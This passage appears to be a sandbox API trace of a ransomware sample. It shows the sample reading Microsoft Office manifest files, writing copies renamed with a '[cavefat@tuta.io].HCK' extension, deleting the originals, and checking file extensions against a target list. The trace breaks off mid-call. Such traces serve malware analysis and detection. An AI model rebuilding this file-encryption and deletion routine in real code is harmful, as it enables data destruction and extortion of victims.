[0152.802] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xfdea, lpOverlapped=0x0) returned 1 [0152.820] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0152.821] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.821] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13e, lpOverlapped=0x0) returned 1 [0152.821] SetEndOfFile (hFile=0x360) returned 1 [0152.821] CloseHandle (hObject=0x360) returned 1 [0152.823] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.823] SetEndOfFile (hFile=0x384) returned 1 [0152.824] CloseHandle (hObject=0x384) returned 1 [0152.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0152.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.826] lstrlenW (lpString=".doc") returned 4 [0152.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString=".docx") returned 5 [0152.826] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0152.826] lstrlenW (lpString=".pdf") returned 4 [0152.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString=".xls") returned 4 [0152.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString=".xlsx") returned 5 [0152.826] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0152.826] lstrlenW (lpString=".ppt") returned 4 [0152.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.826] lstrlenW (lpString=".zip") returned 4 [0152.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0152.826] lstrlenW (lpString=".rar") returned 4 [0152.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString=".bz2") returned 4 [0152.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString=".7z") returned 3 [0152.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.826] lstrlenW (lpString=".dbf") returned 4 [0152.826] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.826] lstrlenW (lpString=".1cd") returned 4 [0152.826] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.826] lstrlenW (lpString=".jpg") returned 4 [0152.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.826] lstrlenW (lpString=".doc") returned 4 [0152.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString=".docx") returned 5 [0152.826] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0152.826] lstrlenW (lpString=".pdf") returned 4 [0152.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString=".xls") returned 4 [0152.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0152.826] lstrlenW (lpString=".xlsx") returned 5 [0152.827] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0152.827] lstrlenW (lpString=".ppt") returned 4 [0152.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.827] lstrlenW (lpString=".zip") returned 4 [0152.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0152.827] lstrlenW (lpString=".rar") returned 4 [0152.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0152.827] lstrlenW (lpString=".bz2") returned 4 [0152.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0152.827] lstrlenW (lpString=".7z") returned 3 [0152.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.827] lstrlenW (lpString=".dbf") returned 4 [0152.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.827] lstrlenW (lpString=".1cd") returned 4 [0152.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0152.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0152.827] lstrlenW (lpString=".jpg") returned 4 [0152.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0152.827] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0152.827] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0152.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.829] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9216) returned 1 [0152.829] CloseHandle (hObject=0x384) returned 1 [0152.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0152.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0152.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0152.830] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.830] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0152.834] GetLastError () returned 0x0 [0152.834] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2400, lpOverlapped=0x0) returned 1 [0152.838] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2410, lpOverlapped=0x0) returned 1 [0152.839] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.839] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13e, lpOverlapped=0x0) returned 1 [0152.839] SetEndOfFile (hFile=0x300) returned 1 [0152.842] CloseHandle (hObject=0x300) returned 1 [0152.843] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.843] SetEndOfFile (hFile=0x37c) returned 1 [0152.843] CloseHandle (hObject=0x37c) returned 1 [0152.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0152.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0152.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.847] lstrlenW (lpString=".doc") returned 4 [0152.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0152.847] lstrlenW (lpString=".docx") returned 5 [0152.847] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0152.847] lstrlenW (lpString=".pdf") returned 4 [0152.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0152.847] lstrlenW (lpString=".xls") returned 4 [0152.847] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0152.847] lstrlenW (lpString=".xlsx") returned 5 [0152.847] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0152.847] lstrlenW (lpString=".ppt") returned 4 [0152.847] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0152.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.847] lstrlenW (lpString=".zip") returned 4 [0152.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0152.847] lstrlenW (lpString=".rar") returned 4 [0152.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString=".bz2") returned 4 [0152.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString=".7z") returned 3 [0152.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString=".dbf") returned 4 [0152.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString=".1cd") returned 4 [0152.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString=".jpg") returned 4 [0152.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString=".doc") returned 4 [0152.848] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString=".docx") returned 5 [0152.848] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0152.848] lstrlenW (lpString=".pdf") returned 4 [0152.848] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString=".xls") returned 4 [0152.848] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString=".xlsx") returned 5 [0152.848] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0152.848] lstrlenW (lpString=".ppt") returned 4 [0152.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString=".zip") returned 4 [0152.848] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0152.848] lstrlenW (lpString=".rar") returned 4 [0152.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString=".bz2") returned 4 [0152.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString=".7z") returned 3 [0152.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString=".dbf") returned 4 [0152.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString=".1cd") returned 4 [0152.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0152.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0152.848] lstrlenW (lpString=".jpg") returned 4 [0152.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0152.848] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0152.848] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0152.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0152.849] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=399528) returned 1 [0152.849] CloseHandle (hObject=0x37c) returned 1 [0152.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0152.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0152.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0152.849] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.849] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0152.854] GetLastError () returned 0x0 [0152.854] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x618a8, lpOverlapped=0x0) returned 1 [0152.862] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x618b0, lpOverlapped=0x0) returned 1 [0152.875] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.875] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13e, lpOverlapped=0x0) returned 1 [0152.875] SetEndOfFile (hFile=0x2e8) returned 1 [0152.879] CloseHandle (hObject=0x2e8) returned 1 [0152.943] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.943] SetEndOfFile (hFile=0x37c) returned 1 [0152.958] CloseHandle (hObject=0x37c) returned 1 [0152.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0153.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.325] lstrlenW (lpString=".doc") returned 4 [0153.325] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0153.325] lstrlenW (lpString=".docx") returned 5 [0153.325] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0153.325] lstrlenW (lpString=".pdf") returned 4 [0153.325] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0153.325] lstrlenW (lpString=".xls") returned 4 [0153.325] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0153.325] lstrlenW (lpString=".xlsx") returned 5 [0153.325] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0153.325] lstrlenW (lpString=".ppt") returned 4 [0153.325] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0153.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.325] lstrlenW (lpString=".zip") returned 4 [0153.325] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0153.325] lstrlenW (lpString=".rar") returned 4 [0153.325] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0153.325] lstrlenW (lpString=".bz2") returned 4 [0153.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0153.325] lstrlenW (lpString=".7z") returned 3 [0153.325] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString=".dbf") returned 4 [0153.326] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString=".1cd") returned 4 [0153.326] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString=".jpg") returned 4 [0153.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString=".doc") returned 4 [0153.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString=".docx") returned 5 [0153.326] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0153.326] lstrlenW (lpString=".pdf") returned 4 [0153.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString=".xls") returned 4 [0153.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString=".xlsx") returned 5 [0153.326] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0153.326] lstrlenW (lpString=".ppt") returned 4 [0153.326] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString=".zip") returned 4 [0153.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0153.326] lstrlenW (lpString=".rar") returned 4 [0153.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString=".bz2") returned 4 [0153.326] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString=".7z") returned 3 [0153.326] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString=".dbf") returned 4 [0153.326] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString=".1cd") returned 4 [0153.326] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0153.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0153.326] lstrlenW (lpString=".jpg") returned 4 [0153.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0153.326] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0153.326] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0153.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0153.327] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9831) returned 1 [0153.327] CloseHandle (hObject=0x2e8) returned 1 [0153.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0153.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft 